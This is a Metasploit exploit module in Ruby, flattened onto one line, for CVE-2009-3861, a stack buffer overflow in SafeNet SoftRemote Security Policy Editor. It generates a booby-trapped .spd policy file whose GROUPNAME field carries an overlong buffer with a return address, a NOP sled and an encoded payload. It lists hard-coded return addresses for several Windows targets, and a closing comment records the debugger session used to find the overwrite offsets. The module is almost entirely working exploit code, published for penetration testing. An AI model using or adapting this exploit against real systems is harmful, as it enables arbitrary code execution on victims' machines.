## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'SafeNet SoftRemote GROUPNAME Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in SafeNet SoftRemote Security Policy Editor <= 10.8.5. When an attacker creates a specially formatted security policy with an overly long GROUPNAME argument, it is possible to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2009-3861' ], [ 'OSVDB', '59660'], [ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-09-008' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ], [ 'WinSrv 2000 SP4 English', { 'Ret' => 0x78344dd3 } ], [ 'WinSrv 2000 SP2 English', { 'Ret' => 0x7843c1a1 } ], [ 'WinSrv 2003 Enterprise Edition SP1 (v1023) English', { 'Ret' => 0x7741246b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 30 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.spd']), ], self.class) end def exploit # Need to cause the access violation!! sploit = rand_text_alpha_upper(20024) sploit[92,4] = [target.ret].pack('V') # Play it safe. sploit[96,100] = "\x90" * 100 sploit[196,payload.encoded.length] = payload.encoded spd = "REGEDIT4\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL]\n" spd << "\"CrlPollInterval\"=dword:00000001\n" spd << "\"CertPollingInterval\"=dword:0000000f\n" spd << "\"PolicyInterval\"=dword:000005a0\n" spd << "\"NETPROC\"=dword:00000003\n" spd << "\"LACTNETPROC\"=dword:00000003\n" spd << "\"BUILDVER\"=\"10.8.1 (Build 10)\"\n" spd << "\"NONNIPPROC\"=dword:00000001\n" spd << "\"STATICIP\"=dword:00000000\n" spd << "\"ENABLEGATEWAY\"=dword:00000000\n" spd << "\"ENABLELOGGING\"=dword:00000000\n" spd << "\"RETRANSTIMER\"=dword:0000000f\n" spd << "\"RETRYCOUNTER\"=dword:00000003\n" spd << "\"NOTIFICPAYLOADS\"=dword:00000001\n" spd << "\"PolicyServerPort\"=dword:00000185\n" spd << "\"UsePolicyServer\"=dword:00000000\n" spd << "\"PolicyServerName\"=""\n" spd << "\"NewPolicyResetsConns\"=dword:00000000\n" spd << "\"UseCerts\"=dword:00000000\n" spd << "\"PublishMyCert\"=dword:00000001\n" spd << "\"PolicySubtree\"=\"ou=SoftRemote, o=SafeNet\"\n" spd << "\"PDPMode\"=dword:00000000\n" spd << "\"PDPUrl\"=\"\"\n" spd << "\"UseProxyServer\"=dword:00000000\n" spd << "\"ProxyServer\"=\"\"\n" spd << "\"LdapServer\"=\"\"\n" spd << "\"DefaultCrlUrl\"=\"\"\n" spd << "\"EnableCrlPolling\"=dword:00000000\n" spd << "\"SCARD_CLEARS_KEYS\"=dword:00000000\n" spd << "\"VPNRequiresFirewall\"=dword:00000000\n" spd << "\"BypassRequiresFirewall\"=dword:00000000\n" spd << "\"MapVPNToFirewall\"=dword:00000000\n" spd << "\"MapPolicyToFirewall\"=dword:00000000\n" spd << "\"MapBypassToFirewall\"=dword:00000000\n" spd << "\"EnableFirewallLogging\"=dword:00000000\n" spd << "\"TCPENCAPPORT\"=dword:00000000\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0]\n" spd << "\"ACTION\"=dword:00000001\n" spd << "\"TREENAME\"=\"Other Connections\"\n" spd << "\"GROUPID\"=\"_SafeNet_Default_Group\"\n" spd << "\"LOCKMODE\"=dword:00000000\n" spd << "\"USEMANKEYS\"=dword:00000000\n" spd << "\"USEPPKS\"=dword:00000000\n" spd << "\"USEPFS\"=dword:00000000\n" spd << "\"REPLAYDETECT\"=dword:00000001\n" spd << "\"MANUALONLY\"=dword:00000000\n" spd << "\"AGGRMODE\"=dword:00000000\n" spd << "\"P2GROUPDESC\"=dword:00000002\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID]\n" spd << "\"CERTIFICATELABEL\"=\"\"\n" spd << "\"CERTIFICATEISSUER\"=hex:\n" spd << "\"PORT\"=dword:ffffffff\n" spd << "\"PORTNAME\"=\"All\"\n" spd << "\"NET_INTFC\"=\"\"\n" spd << "\"InternalIP\"=dword:00000000\n" spd << "\"AUTOCERT\"=dword:00000001\n" spd << "\"TYPE\"=dword:00000009\n" spd << "\"FQDN\"=\"\"\n" spd << "\"UFQDN\"=\"\"\n" spd << "\"DN\"=hex:\n" spd << "\"PRESHR\"=hex:\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID\\VASUPPORT]\n" spd << "\"VASUPPORT\"=dword:00000000\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH1PROPOSAL_0]\n" spd << "\"AUTHMETHOD\"=dword:00000003\n" spd << "\"PH1ENCRALG\"=dword:00000005\n" spd << "\"PH1KEYLEN\"=dword:00000000\n" spd << "\"PH1HASHALG\"=dword:00000002\n" spd << "\"GROUPDESC\"=dword:00000002\n" spd << "\"IKESALIFETYPE\"=dword:00000000\n" spd << "\"IKESADUR_KB\"=dword:00000000\n" spd << "\"IKESADUR_SEC\"=dword:00000000\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH2PROPOSAL_0]\n" spd << "\"AH\"=dword:00000000\n" spd << "\"AHTRANSFORM\"=dword:00000003\n" spd << "\"AHENCAPMODE\"=dword:00000001\n" spd << "\"ESP\"=dword:00000001\n" spd << "\"KEYLENGTH\"=dword:00000000\n" spd << "\"ESPTRANSFORM\"=dword:00000003\n" spd << "\"ESPKEYLEN\"=dword:00000000\n" spd << "\"ESPHASHALG\"=dword:00000002\n" spd << "\"ESPENCAPMODE\"=dword:00000001\n" spd << "\"KEYLIFETYPE\"=dword:00000000\n" spd << "\"KEYDUR_KB\"=dword:00000000\n" spd << "\"KEYDUR_SEC\"=dword:00000000\n" spd << "\"IPCOMP\"=dword:00000000\n" spd << "\"IPCOMPTRANSFORM\"=dword:00000000\n" spd << "\"INMANSPI\"=dword:00000100\n" spd << "\"INMANAHKEY\"=hex:\n" spd << "\"INMANESPENCRKEY\"=hex:\n" spd << "\"INMANESPHMACKEY\"=hex:\n" spd << "\"OUTMANSPI\"=dword:00000100\n" spd << "\"OUTMANAHKEY\"=hex:\n" spd << "\"OUTMANESPENCRKEY\"=hex:\n" spd << "\"OUTMANESPHMACKEY\"=hex:\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PROXYADDRESS]\n" spd << "\"TYPE\"=dword:00000001\n" spd << "\"ADDR1\"=dword:00000000\n" spd << "\"ADDR2\"=dword:00000000\n" spd << "\"IPADDR\"=dword:00000000\n" spd << "\"USELDAP\"=dword:00000000\n" spd << "\"LOCATIONTYPE\"=dword:00000001\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\REMOTEADDRESS]\n" spd << "\"TYPE\"=dword:00000001\n" spd << "\"ADDR1\"=dword:00000000\n" spd << "\"ADDR2\"=dword:00000000\n" spd << "\"IPADDR\"=dword:00000000\n" spd << "\"PROTOCOL\"=dword:ffffffff\n" spd << "\"PORT\"=dword:ffffffff\n" spd << "\"PORTNAME\"=\"All\"\n" spd << "\"USELDAP\"=dword:00000000\n" spd << "\"USESGW\"=dword:00000000\n" spd << "\"SGWOPTIONS\"=dword:00000000\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\CertReqDef]\n" spd << "\"NameChoice\"=dword:00000000\n" spd << "\"DeptChoice\"=dword:00000000\n" spd << "\"CompanyChoice\"=dword:00000000\n" spd << "\"StateChoice\"=dword:00000000\n" spd << "\"CountryChoice\"=dword:00000000\n" spd << "\"EmailChoice\"=dword:00000000\n" spd << "\"HostChoice\"=dword:00000000\n" spd << "\"IPChoice\"=dword:00000000\n" spd << "\"GetDefName\"=dword:00000001\n" spd << "\"GetDefDept\"=dword:00000000\n" spd << "\"GetDefCompany\"=dword:00000001\n" spd << "\"GetDefState\"=dword:00000000\n" spd << "\"GetDefCountry \"=dword:00000001\n" spd << "\"GetDefEmail\"=dword:00000001\n" spd << "\"GetDefHost\"=dword:00000001\n" spd << "\"GetDefIP\"=dword:00000001\n" spd << "\"DeptValue\"=\"\"\n" spd << "\"CompanyValue\"=\"\"\n" spd << "\"StateValue\"=\"\"\n" spd << "\"CountryValue\"=\"\"\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\GROUPDEFS]\r\n\r\n" spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\GROUPDEFS\\_SafeNet_Default_Group]\n" spd << "\"GROUPLOCK\"=dword:00000000\n" spd << "\"GROUPNAME\"=\"#{sploit}\"" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(spd) end end =begin First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012c454 ebx=7e42f3c2 ecx=00bbe744 edx=00130000 esi=0012cfe0 edi=00bb54f0 eip=7c80beb9 esp=0012c430 ebp=0012c454 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - kernel32!lstrcpy+0x18: 7c80beb9 8802 mov byte ptr [edx],al ds:0023:00130000=41 0:000> !exchain 0012c444: kernel32!ValidateLocale+2b0 (7c839ad8) 0012c4f8: 41386341 Invalid exception stack at 37634136 0:000> !load byakugan [Byakugan] Successfully loaded! 0:000> !pattern_offset 20024 0x41386341 [Byakugan] Control of 0x41386341 at offset 84. 0:000> !pattern_offset 20024 0x37634136 [Byakugan] Control of 0x37634136 at offset 80. 0:000> !pattern_offset 20024 [Byakugan] Control of ecx at offset 80. [Byakugan] Control of eip at offset 92. =end